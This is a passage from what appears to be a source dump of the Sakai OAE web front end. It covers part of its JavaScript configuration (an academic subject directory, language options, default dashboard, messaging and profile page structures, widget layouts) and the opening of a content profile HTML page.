[],\n        /*\n         * List op pages that require additional processing to determine\n         * whether the page can be shown to the current user. These pages\n         * are then required to call the sakai.api.Security.showPage\n         * themselves\n         */\n        requireProcessing: [\"/dev/user.html\", \"/me\" ,\"/dev/me.html\", \"/dev/content_profile.html\", \"/dev/content_profile.html\", \"/dev/group_edit.html\", \"/dev/show.html\", \"/content\"],\n\n        useLiveSakai2Feeds: false,\n        /*\n         * List of custom CLE Tool names. This can be used to override the translated\n         * tool name in the Sakai 2 Tools Widget drop down, or name a custom CLE tool\n         * that has been added to your CLE installation. You can see the list of\n         * enabled CLE tools at /var/basiclti/cletools.json, and configure them in\n         * Nakamura under the org.sakaiproject.nakamura.basiclti.CLEVirtualToolDataProvider\n         * configuration.\n         */\n        sakai2ToolNames: {\n            /* \"sakai.mytoolId\" : \"My Custom Tool Title\" */\n        },\n\n        displayDebugInfo: true,\n\n        /**\n         * Section dividers can be added to the directory structure by adding in the following\n         * element at the appropriate place:\n         *  divider1: {\n         *      \"divider\": true,\n         *      \"title\": \"Divider title\" [optional],\n         *      \"cssClass\": \"CSS class to add to items inside of elements beneath the divider [optional]\n         *  }\n         */\n        Directory: {\n            medicineanddentistry: {\n                title: \"__MSG__MEDICINE_AND_DENTISTRY__\",\n                children: {\n                    preclinicalmedicine: {\n                        title: \"__MSG__PRECLINICAL_MEDICINE__\"\n                    },\n                    preclinicaldentistry: {\n                        title: \"__MSG__PRECLINICAL_DENTISTRY__\"\n                    },\n                    clinicalmedicine: {\n                        title: \"__MSG__CLININCAL_MEDICINE__\"\n                    },\n                    clinicaldentistry: {\n                        title: \"__MSG__CLININCAL_DENTISTRY__\"\n                    },\n                    othersinmedicineanddentistry: {\n                        title: \"__MSG__MEDICINE_AND_DENTISTRY_OTHERS__\"\n                    }\n                }\n            },\n            biologicalsciences: {\n                title: \"__MSG__BIOLOGICAL_SCIENCES__\",\n                children: {\n                    biology: {\n                        title: \"__MSG__BIOLOGY__\"\n                    },\n                    botany: {\n                        title: \"__MSG__BOTANY__\"\n                    },\n                    zoology: {\n                        title: \"__MSG__ZOOLOGY__\"\n                    },\n                    genetics: {\n                        title: \"__MSG__GENETICS__\"\n                    },\n                    microbiology: {\n                        title: \"__MSG__MICROBIOLOGY__\"\n                    },\n                    sportsscience: {\n                        title: \"__MSG__SPORTS_SCIENCE__\"\n                    },\n                    molecularbiologybiophysicsandbiochemistry: {\n                        title: \"__MSG__MOLECULAR_BIOLOGY__\"\n                    },\n                    psychology: {\n                        title: \"__MSG__PSYCHOLOGY__\"\n                    },\n                    othersinbiologicalsciences: {\n                        title: \"__MSG__BIOLOGICAL_SCIENCES_OTHER__\"\n                    }\n                }\n            },\n            veterinarysciencesagriculture: {\n                title: \"__MSG__VETERINARY_SCIENCES__\",\n                children: {\n                    preclinicalveterinarymedicine: {\n                        title: \"__MSG__PRE_CLINICAL_VETERINARY__\"\n                    },\n                    clinicalveterinarymedicineanddentistry: {\n                        title: \"__MSG__CLINICAL_VETERINARY__\"\n                    },\n                    animalscience: {\n                        title: \"__MSG__ANIMAL_SCIENCE__\"\n                    },\n                    agriculture: {\n                        title: \"__MSG__AGRICULTURE__\"\n                    },\n                    forestry: {\n                        title: \"__MSG__FORESTRY__\"\n                    },\n                    foodandbeveragestudies: {\n                        title: \"__MSG__FOOD_BEVERAGE__\"\n                    },\n                    agriculturalsciences: {\n                        title: \"__MSG__AGRICULTURAL_SCIENCE__\"\n                    },\n                    othersinveterinarysciencesandagriculture: {\n                        title: \"__MSG__VETERINARY_SCIENCES_OTHER__\"\n                    }\n                }\n            },\n            physicalsciences: {\n                title: \"__MSG__PHYSICAL_SCIENCE__\",\n                children: {\n                    chemistry: {\n                        title: \"__MSG__CHEMISTRY__\"\n                    },\n                    materialsscience: {\n                        title: \"__MSG__MATERIALS_SCIENCE__\"\n                    },\n                    physics: {\n                        title: \"__MSG__PHYSICS__\"\n                    },\n                    forensicandarchaeologicalscience: {\n                        title: \"__MSG__FORENSIC_ARCHEALOGICAL__\"\n                    },\n                    astronomy: {\n                        title: \"__MSG__ASTRONOMY__\"\n                    },\n                    geology: {\n                        title: \"__MSG__GEOLOGY__\"\n                    },\n                    oceansciences: {\n                        title: \"__MSG__OCEAN_SCIENCE__\"\n                    },\n                    othersinphysicalsciences: {\n                        title: \"__MSG__PHYSICAL_SCIENCE_OTHER__\"\n                    }\n                }\n            },\n            mathematicalandcomputersciences: {\n                title: \"__MSG__MATHEMATICAL_COMPUTER_SCIENCES__\",\n                children: {\n                    mathematics: {\n                        title: \"__MSG__MATHEMATICS__\"\n                    },\n                    operationalresearch: {\n                        title: \"__MSG__OPERATIONAL_RESEARCH__\"\n                    },\n                    statistics: {\n                        title: \"__MSG__STATISTICS__\"\n                    },\n                    computerscience: {\n                        title: \"__MSG__COMPUTER_SCIENCE__\"\n                    },\n                    informationsystems: {\n                        title: \"__MSG__INFORMATION_SYSTEMS__\"\n                    },\n                    softwareengineering: {\n                        title: \"__MSG__SOFTWARE_ENGINEERING__\"\n                    },\n                    artificialintelligence: {\n                        title: \"__MSG__ARTIFICIAL_INTELLIGENCE__\"\n                    },\n                    othersinmathematicalandcomputingsciences: {\n                        title: \"__MSG__MATHEMATICAL_COMPUTER_SCIENCES_OTHER__\"\n                    }\n                }\n            },\n            engineering: {\n                title: \"__MSG__ENGINEERING__\",\n                children: {\n                    generalengineering: {\n                        title: \"__MSG__GENERAL_ENGINEERING__\"\n                    },\n                    civilengineering: {\n                        title: \"__MSG__CIVIL_ENGINEERING__\"\n                    },\n                    mechanicalengineering: {\n                        title: \"__MSG__MECHANICAL_ENGINEERING__\"\n                    },\n                    aerospaceengineering: {\n                        title: \"__MSG__AEROSPACE_ENGINEERING__\"\n                    },\n                    navalarchitecture: {\n                        title: \"__MSG__NAVAL_ARCHITECTURE__\"\n                    },\n                    electronicandelectricalengineering: {\n                        title: \"__MSG__ELECTRONIC_ELECTRICAL_ENGINEERING__\"\n                    },\n                    productionandmanufacturingengineering: {\n                        title: \"__MSG__PRODUCTION_MANUFACTURING_ENGINEERING__\"\n                    },\n                    chemicalprocessandenergyengineering: {\n                        title: \"__MSG__CHEMICAL_PROCESS_ENERGY_ENGINEERING__\"\n                    },\n                    othersinengineering: {\n                        title: \"__MSG__ENGINEERING_OTHER__\"\n                    }\n                }\n            },\n            technologies: {\n                title: \"__MSG__TECHNOLOGIES__\",\n                children: {\n                    mineralstechnology: {\n                        title: \"__MSG__MINERALS_TECHNOLOGY__\"\n                    },\n                    metallurgy: {\n                        title: \"__MSG__METALLURGY__\"\n                    },\n                    ceramicsandglasses: {\n                        title: \"__MSG__CERAMICS_GLASSES__\"\n                    },\n                    polymersandtextiles: {\n                        title: \"__MSG__POLYMERS_TEXTILES__\"\n                    },\n                    materialstechnologynototherwisespecified: {\n                        title: \"__MSG__MATERIALS_TECHNOLOGY_OTHER__\"\n                    },\n                    maritimetechnology: {\n                        title: \"__MSG__MARITIME_TECHNOLOGY__\"\n                    },\n                    industrialbiotechnology: {\n                        title: \"__MSG__INDUSTRIAL_BIOTECHNOLOGY__\"\n                    },\n                    othersintechnology: {\n                        title: \"__MSG__TECHNOLOGIES_OTHER__\"\n                    }\n                }\n            },\n            architecturebuildingandplanning: {\n                title: \"__MSG__ARCHITECTURE_BUILDING_PLANNING__\",\n                children: {\n                    architecture: {\n                        title: \"__MSG__ARCHITECTURE__\"\n                    },\n                    building: {\n                        title: \"__MSG__BUILDING__\"\n                    },\n                    landscapedesign: {\n                        title: \"__MSG__LANDSCAPE_DESIGN__\"\n                    },\n                    planning: {\n                        title: \"__MSG__PLANNING__\"\n                    },\n                    othersinarchitecturebuildingandplanning: {\n                        title: \"__MSG__ARCHITECTURE_BUILDING_PLANNING_OTHER__\"\n                    }\n                }\n            },\n            socialstudies: {\n                title: \"__MSG__SOCIAL_STUDIES__\",\n                children: {\n                    economics: {\n                        title: \"__MSG__ECONOMICS__\"\n                    },\n                    politics: {\n                        title: \"__MSG__POLITICS__\"\n                    },\n                    sociology: {\n                        title: \"__MSG__SOCIOLOGY__\"\n                    },\n                    socialpolicy: {\n                        title: \"__MSG__SOCIAL_POLICY__\"\n                    },\n                    socialwork: {\n                        title: \"__MSG__SOCIAL_WORK__\"\n                    },\n                    anthropology: {\n                        title: \"__MSG__ANTHROPOLOGY__\"\n                    },\n                    humanandsocialgeography: {\n                        title: \"__MSG__HUMAN_SOCIAL_GEOGRAPHY__\"\n                    },\n                    othersinsocialstudies: {\n                        title: \"__MSG__SOCIAL_STUDIES_OTHER__\"\n                    }\n                }\n            },\n            law: {\n                title: \"__MSG__LAW__\",\n                children: {\n                    publiclaw: {\n                        title: \"__MSG__LAW_PUBLIC__\"\n                    },\n                    privatelaw: {\n                        title: \"__MSG__LAW_PRIVATE__\"\n                    },\n                    jurisprudence: {\n                        title: \"__MSG__JURISPRUDENCE__\"\n                    },\n                    legalpractice: {\n                        title: \"__MSG__LEGAL_PRACTICE__\"\n                    },\n                    medicallaw: {\n                        title: \"__MSG__LAW_MEDICAL__\"\n                    },\n                    othersinlaw: {\n                        title: \"__MSG__LAW_OTHER__\"\n                    }\n                }\n            },\n            businessandadministrativestudies: {\n                title: \"__MSG__BUSINESS_ADMINISTRATIVE_STUDIES__\",\n                children: {\n                    businessstudies: {\n                        title: \"__MSG__BUSINESS_STUDIES__\"\n                    },\n                    managementstudies: {\n                        title: \"__MSG__MANAGEMENTS_STUDIES__\"\n                    },\n                    finance: {\n                        title: \"__MSG__FINANCE__\"\n                    },\n                    accounting: {\n                        title: \"__MSG__ACCOUNTING__\"\n                    },\n                    marketing: {\n                        title: \"__MSG__MARKETING__\"\n                    },\n                    humanresourcemanagement: {\n                        title: \"__MSG__HUMAN_RESOURCE_MANAGEMENT__\"\n                    },\n                    officeskills: {\n                        title: \"__MSG__OFFICE_SKILLS__\"\n                    },\n                    tourismtransportandtravel: {\n                        title: \"__MSG__TOURISM__\"\n                    },\n                    othersinbusandadminstudies: {\n                        title: \"__MSG__BUSINESS_ADMINISTRATIVE_STUDIES_OTHER__\"\n                    }\n                }\n            },\n            masscommunicationsanddocumentation: {\n                title: \"__MSG__MASS_COMMUNICATIONS_DOCUMENTATION__\",\n                children: {\n                    informationservices: {\n                        title: \"__MSG__INFORMATION_SERVICES__\"\n                    },\n                    publicitystudies: {\n                        title: \"__MSG__PUBLICITY_STUDIES__\"\n                    },\n                    mediastudies: {\n                        title: \"__MSG__MEDIA_STUDIES__\"\n                    },\n                    publishing: {\n                        title: \"__MSG__PUBLISHING__\"\n                    },\n                    journalism: {\n                        title: \"__MSG__JOURNALISM__\"\n                    },\n                    othersinmasscommanddoc: {\n                        title: \"__MSG__MASS_COMMUNICATIONS_DOCUMENTATION_OTHER__\"\n                    }\n                }\n            },\n            linguisticsclassicsandrelatedsubjects: {\n                title: \"__MSG__LINGUISTICS_CLASSICS__\",\n                children: {\n                    linguistics: {\n                        title: \"__MSG__LINGUISTICS__\"\n                    },\n                    comparativeliterarystudies: {\n                        title: \"__MSG__LINGUISTICS_LITERARY__\"\n                    },\n                    englishstudies: {\n                        title: \"__MSG__LINGUISTICS_ENGLISH__\"\n                    },\n                    ancientlanguagestudies: {\n                        title: \"__MSG__LINGUISTICS_ANCIENT__\"\n                    },\n                    celticstudies: {\n                        title: \"__MSG__LINGUISTICS_CELTIC__\"\n                    },\n                    latinstudies: {\n                        title: \"__MSG__LINGUISTICS_LATIN__\"\n                    },\n                    classicalgreekstudies: {\n                        title: \"__MSG__LINGUISTICS_CLASSICAL_GREEK__\"\n                    },\n                    classicalstudies: {\n                        title: \"__MSG__LINGUISTICS_CLASSICAL__\"\n                    },\n                    othersinlinguisticsclassicsandrelsubject: {\n                        title: \"__MSG__LINGUISTICS_CLASSICS_OTHER__\"\n                    }\n                }\n            },\n            europeanlanguagesliteratureandrelatedsubjects: {\n                title: \"__MSG__EUROPEAN_LANGUAGES__\",\n                children: {\n                    frenchstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_FRENCH__\"\n                    },\n                    germanstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_GERMAN__\"\n                    },\n                    italianstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_ITALIAN__\"\n                    },\n                    spanishstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_SPANISH__\"\n                    },\n                    portuguesestudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_PORTUGUESE__\"\n                    },\n                    scandinavianstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_SCANDINAVIAN__\"\n                    },\n                    russianandeasteuropeanstudies: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_RUSSIAN__\"\n                    },\n                    othersineurolangliteratureandrelsubjects: {\n                        title: \"__MSG__EUROPEAN_LANGUAGES_OTHER__\"\n                    }\n                }\n            },\n            easiaticlanguagesliterature: {\n                title: \"__MSG__EXOTIC_LANGUAGES__\",\n                children: {\n                    chinesestudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_CHINESE__\"\n                    },\n                    japanesestudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_JAPANESE__\"\n                    },\n                    southasianstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_SOUTH_ASIAN__\"\n                    },\n                    otherasianstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_ASIAN_OTHER__\"\n                    },\n                    africanstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_AFRICAN__\"\n                    },\n                    modernmiddleeasternstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_MIDDLE_EAST__\"\n                    },\n                    americanstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_AMERICAN__\"\n                    },\n                    australasianstudies: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_AUSTRALIAN__\"\n                    },\n                    othersineasternasiaafriamericaaustralianlang: {\n                        title: \"__MSG__EXOTIC_LANGUAGES_OTHER__\"\n                    }\n                }\n            },\n            historicalandphilosophicalstudies: {\n                title: \"__MSG__HISTORICAL_PHILOSOPHICAL_STUDIES__\",\n                children: {\n                    historybyperiod: {\n                        title: \"__MSG__HISTORY_PERIOD__\"\n                    },\n                    historybyarea: {\n                        title: \"__MSG__HISTORY_AREA__\"\n                    },\n                    historybytopic: {\n                        title: \"__MSG__HISTORY_TOPIC__\"\n                    },\n                    archaeology: {\n                        title: \"__MSG__ARCHEOLOGY__\"\n                    },\n                    philosophy: {\n                        title: \"__MSG__PHILOSOPHY__\"\n                    },\n                    theologyandreligiousstudies: {\n                        title: \"__MSG__THEOLOGY_STUDIES__\"\n                    },\n                    othersinhistoricalandphilosophicalstudies: {\n                        title: \"__MSG__HISTORICAL_PHILOSOPHICAL_STUDIES_OTHER__\"\n                    }\n                }\n            },\n            creativeartsanddesign: {\n                title: \"__MSG__CREATIVE_ARTS__\",\n                children: {\n                    fineart: {\n                        title: \"__MSG__FINE_ART__\"\n                    },\n                    designstudies: {\n                        title: \"__MSG__DESIGN_STUDIES__\"\n                    },\n                    music: {\n                        title: \"__MSG__MUSIC__\"\n                    },\n                    drama: {\n                        title: \"__MSG__DRAMA__\"\n                    },\n                    dance: {\n                        title: \"__MSG__DANCE__\"\n                    },\n                    cinematicsandphotography: {\n                        title: \"__MSG__CINEMATICS_PHOTOGRAPHY__\"\n                    },\n                    crafts: {\n                        title: \"__MSG__CRAFTS__\"\n                    },\n                    imaginativewriting: {\n                        title: \"__MSG__IMAGINITIVE_WRITING__\"\n                    },\n                    othersincreativeartsanddesign: {\n                        title: \"__MSG__CREATIVE_ARTS_OTHER__\"\n                    }\n                }\n            },\n            education: {\n                title: \"__MSG__EDUCATION__\",\n                children: {\n                    trainingteachers: {\n                        title: \"__MSG__TRAINING_TEACHERS__\"\n                    },\n                    researchandstudyskillsineducation: {\n                        title: \"__MSG__EDUCATION_RESEARCH_STUDY_SKILLS__\"\n                    },\n                    academicstudiesineducation: {\n                        title: \"__MSG__EDUCATION_ACADEMIC_STUDIES__\"\n                    },\n                    othersineducation: {\n                        title: \"__MSG__EDUCATION_OTHER__\"\n                    }\n                }\n            }\n        },\n\n        // Array of css files to load in each page\n        skinCSS: [],\n\n        Languages: [{\n            \"country\": \"CN\",\n            \"language\": \"zh\",\n            \"displayName\": \"\u4e2d\u6587\"\n        }, {\n            \"country\": \"NL\",\n            \"language\": \"nl\",\n            \"displayName\": \"Nederlands\"\n        }, {\n            \"country\": \"GB\",\n            \"language\": \"en\",\n            \"displayName\": \"English (United Kingdom)\"\n        }, {\n            \"country\": \"US\",\n            \"language\": \"en\",\n            \"displayName\": \"English (United States)\"\n        }, {\n            \"country\": \"JP\",\n            \"language\": \"ja\",\n            \"displayName\": \"\u65e5\u672c\u8a9e\"\n        }, {\n            \"country\": \"HU\",\n            \"language\": \"hu\",\n            \"displayName\": \"Magyar\"\n        }, {\n            \"country\": \"KR\",\n            \"language\": \"ko\",\n            \"displayName\": \"\ud55c\uad6d\uc5b4\"\n        }],\n\n        // Default Language for the deployment, must be one of the language_COUNTRY pairs that exists above\n        defaultLanguage: \"en_US\",\n\n        enableChat: false,\n        enableCategories: true,\n\n        Editor: {\n            tinymceLanguagePacks: ['ar','ch','en','gl','id','lb','nb','ru','sv','uk','az','cn','eo','gu','is','lt','nl',\n                'sc','ta','ur','be','cs','es','he','it','lv','nn','se','te','vi','bg','cy','et','hi','ja','mk','no','si',\n                'th','zh-cn','bn','da','eu','hr','ka','ml','pl','sk','tn','zh-tw','br','de','fa','hu','kl','mn','ps','sl',\n                'tr','zh','bs','dv','fi','hy','km','ms','pt','sq','tt','zu','ca','el','fr','ia','ko','my','ro','sr','tw']\n        },\n\n        defaultSakaiDocContent: {\n            \"rows\": [\n                {\n                    \"id\": \"id\" + Math.round(Math.random() * 100000000),\n                    \"columns\": [\n                        {\n                            \"width\": 1,\n                            \"elements\": []\n                        }\n                    ]\n                }\n            ]\n        },\n\n        /*\n         * _canEdit: can change the area permissions on this page\n         * _reorderOnly: can reorder this item in the navigation, but cannot edit the name of the page\n         * _nonEditable: cannot edit the contents of this page\n         * _canSubedit:\n         */\n\n        defaultprivstructure: {\n            \"structure0\": {\n                \"dashboard\": {\n                    \"_ref\": \"${refid}0\",\n                    \"_title\": \"__MSG__MY_DASHBOARD__\",\n                    \"_order\": 0,\n                    \"_canEdit\": true,\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true,\n                    \"main\": {\n                        \"_ref\": \"${refid}0\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__MY_DASHBOARD__\"\n                    }\n                },\n                \"messages\": {\n                    \"_title\": \"__MSG__MY_MESSAGES__\",\n                    \"_ref\": \"${refid}1\",\n                    \"_order\": 1,\n                    \"_canEdit\": true,\n                    \"_reorderOnly\": true,\n                    \"_canSubedit\": true,\n                    \"_nonEditable\": true,\n                    \"inbox\": {\n                        \"_ref\": \"${refid}1\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__INBOX__\",\n                        \"_nonEditable\": true\n                    },\n                    \"invitations\": {\n                        \"_ref\": \"${refid}2\",\n                        \"_order\": 1,\n                        \"_title\": \"__MSG__INVITATIONS__\",\n                        \"_nonEditable\": true\n                    },\n                    \"sent\": {\n                        \"_ref\": \"${refid}3\",\n                        \"_order\": 2,\n                        \"_title\": \"__MSG__SENT__\",\n                        \"_nonEditable\": true\n                    },\n                    \"trash\": {\n                        \"_ref\": \"${refid}4\",\n                        \"_order\": 3,\n                        \"_title\": \"__MSG__TRASH__\",\n                        \"_nonEditable\": true\n                    }\n                }\n            },\n            \"${refid}0\": {\n                \"id2506067\": {\n                    \"htmlblock\": {\n                        \"content\": \"<div class=\\\"fl-force-right\\\"><button type=\\\"button\\\" class=\\\"s3d-button s3d-margin-top-5 s3d-header-button s3d-header-smaller-button dashboard_change_layout\\\" data-tuid=\\\"${refid}5\\\">__MSG__EDIT_LAYOUT__</button><button type=\\\"button\\\" class=\\\"s3d-button s3d-margin-top-5 s3d-header-button s3d-header-smaller-button dashboard_global_add_widget\\\" data-tuid=\\\"${refid}5\\\">__MSG__ADD_WIDGET__</button></div><div class=\\\"s3d-contentpage-title\\\">__MSG__MY_DASHBOARD__</div>\"\n                    }\n                },\n                \"${refid}5\": {\n                    \"dashboard\": {\n                        \"layout\": \"threecolumn\",\n                        \"columns\": {\n                            \"column1\": [\n                                {\n                                    \"uid\": \"${refid}10\",\n                                    \"visible\": \"block\",\n                                    \"name\": \"recentchangedcontent\"\n                                }\n                            ],\n                            \"column2\": [\n                                {\n                                    \"uid\": \"${refid}11\",\n                                    \"visible\": \"block\",\n                                    \"name\": \"recentmemberships\"\n                                }\n                            ],\n                            \"column3\": [\n                                {\n                                    \"uid\": \"${refid}12\",\n                                    \"visible\": \"block\",\n                                    \"name\": \"recentcontactsnew\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                \"rows\": [\n                    {\n                        \"id\": \"id8965114\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"id2506067\",\n                                        \"type\": \"htmlblock\"\n                                    },\n                                    {\n                                        \"id\": \"id8321271\",\n                                        \"type\": \"carousel\"\n                                    },\n                                    {\n                                        \"id\": \"${refid}5\",\n                                        \"type\": \"dashboard\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            },\n            \"${refid}1\": {\n                \"${refid}6\": {\n                    \"box\": \"inbox\",\n                    \"category\": \"message\",\n                    \"title\": \"__MSG__INBOX__\"\n                },\n                \"rows\": [\n                    {\n                        \"id\": \"id7088118\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"${refid}6\",\n                                        \"type\": \"inbox\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            },\n            \"${refid}2\": {\n                \"${refid}7\": {\n                    \"box\": \"inbox\",\n                    \"category\": \"invitation\",\n                    \"title\": \"__MSG__INVITATIONS__\"\n                },\n                \"rows\": [\n                    {\n                        \"id\": \"id6156677\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"${refid}7\",\n                                        \"type\": \"inbox\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            },\n            \"${refid}3\": {\n                \"${refid}8\": {\n                    \"box\": \"outbox\",\n                    \"category\": \"*\",\n                    \"title\": \"__MSG__SENT__\"\n                },\n                \"rows\": [\n                    {\n                        \"id\": \"id5268914\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"${refid}8\",\n                                        \"type\": \"inbox\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            },\n            \"${refid}4\": {\n                \"${refid}9\": {\n                    \"box\": \"trash\",\n                    \"category\": \"*\",\n                    \"title\": \"__MSG__TRASH__\"\n                },\n                \"rows\": [\n                    {\n                        \"id\": \"id1281420\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"${refid}9\",\n                                        \"type\": \"inbox\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            }\n        },\n\n        /**\n         * In order to set permissions on specific private areas, the following parameter should be added:\n         *   _view: \"anonymous\" // Area is visible to all users by default\n         *   _view: \"everyone\" // Area is visible to all logged in users by default\n         *   _view: \"contacts\" // Area is visible to all contacts by default\n         *   _view: \"private\" // Area is not visible to other users by default\n         */\n        defaultpubstructure: {\n            \"structure0\": {\n                \"profile\": {\n                    \"_title\": \"__MSG__MY_PROFILE__\",\n                    \"_altTitle\": \"__MSG__MY_PROFILE_OTHER__\",\n                    \"_order\": 0,\n                    \"_view\": \"anonymous\",\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true\n                },\n                \"library\": {\n                    \"_ref\": \"${refid}0\",\n                    \"_order\": 1,\n                    \"_title\": \"__MSG__MY_LIBRARY__\",\n                    \"_altTitle\": \"__MSG__MY_LIBRARY_OTHER__\",\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true,\n                    \"_view\": \"anonymous\",\n                    \"main\": {\n                        \"_ref\": \"${refid}0\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__MY_LIBRARY__\"\n                    }\n                },\n                \"memberships\": {\n                    \"_title\": \"__MSG__MY_MEMBERSHIPS__\",\n                    \"_order\": 2,\n                    \"_ref\": \"${refid}1\",\n                    \"_altTitle\": \"__MSG__MY_MEMBERSHIPS_OTHER__\",\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true,\n                    \"_view\": \"anonymous\",\n                    \"main\": {\n                        \"_ref\": \"${refid}1\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__MY_MEMBERSHIPS__\"\n                    }\n                },\n                \"contacts\": {\n                    \"_title\": \"__MSG__MY_CONTACTS__\",\n                    \"_order\": 3,\n                    \"_ref\": \"${refid}2\",\n                    \"_altTitle\": \"__MSG__MY_CONTACTS_OTHER__\",\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true,\n                    \"_view\": \"anonymous\",\n                    \"main\": {\n                        \"_ref\": \"${refid}2\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__MY_CONTACTS__\"\n                    }\n                }\n            },\n            \"${refid}0\": {\n                \"rows\": [\n                    {\n                        \"id\": \"id89874\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"id5739346\",\n                                        \"type\": \"mylibrary\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            },\n            \"${refid}1\": {\n                \"rows\": [\n                    {\n                        \"id\": \"id7664610\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"id4347509\",\n                                        \"type\": \"mymemberships\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            },\n            \"${refid}2\": {\n                \"rows\": [\n                    {\n                        \"id\": \"id293415\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [\n                                    {\n                                        \"id\": \"id6775571\",\n                                        \"type\": \"contacts\"\n                                    }\n                                ]\n                            }\n                        ]\n                    }\n                ]\n            }\n        },\n\n        widgets: {\n            \"layouts\": {\n                \"onecolumn\": {\n                    \"name\": \"One column\",\n                    \"widths\": [100],\n                    \"siteportal\": true\n                },\n                \"dev\": {\n                    \"name\": \"Dev Layout\",\n                    \"widths\": [50, 50],\n                    \"siteportal\": true\n                },\n                \"threecolumn\": {\n                    \"name\": \"Three equal columns\",\n                    \"widths\": [33, 33, 33],\n                    \"siteportal\": false\n                }\n            },\n            \"defaults\": {\n                \"personalportal\": {\n                    \"layout\": \"dev\",\n                    \"columns\": [[\"mygroups\", \"mycontacts\"], [\"mycontent\", \"recentmessages\"]]\n                }\n            }\n        }\n    };\n\n    return config;\n});\n", "dev/content_profile.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.content_profile.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"back_to_collection_container\" style=\"display:none;\">\n                        <a href=\"javascript:;\" class=\"s3d-button s3d-header-button\" title=\"__MSG__BACK__\" id=\"back_to_collection_button\"><span id=\"collection_title\"></span>&#9664; __MSG__BACK__</a>\n                    </div>\n                    <div id=\"widget_entity\" class=\"widget_inline\"></div>\n                    <div id=\"widget_uploadnewversion\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div id=\"content_profile_main_container\" class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n                <div class=\"s3d-page-column-left\" id=\"content_profile_left_column\" style=\"display:none;\">\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                </div>\n                <div id=\"content_profile_right_container\" class=\"s3d-page-main-content s3d-page-fullcolumn-nopadding\" style=\"padding-right: 0px; padding-left: 0px; padding-top: 0px; margin-bottom: 10px;\">\n                    <div id=\"content_profile_contentauthoring_container\">\n                        <div id=\"s3d-page-main-content\"></div>\n                    </div>\n\n                    <div id=\"content_profile_preview_container\">\n                        <div id=\"content_profile_preview_versions_container\" style=\"display:none\">\n                            <div id=\"widget_versions\" class=\"widget_inline\"></div>\n                        </div>\n                        <div id=\"widget_contentpreview\" class=\"widget_inline\"></div>\n                    </div>\n                    <div style=\"border-top: 5px solid #E2E2E2; padding-top: 15px; margin-right: 20px; margin-left: 20px;\">\n                        <div id=\"content_profile_right_metacomments\" class=\"fl-container-650 fl-force-left content_profile_left_column;\" style=\"padding-left: 5px;\">\n                            <div 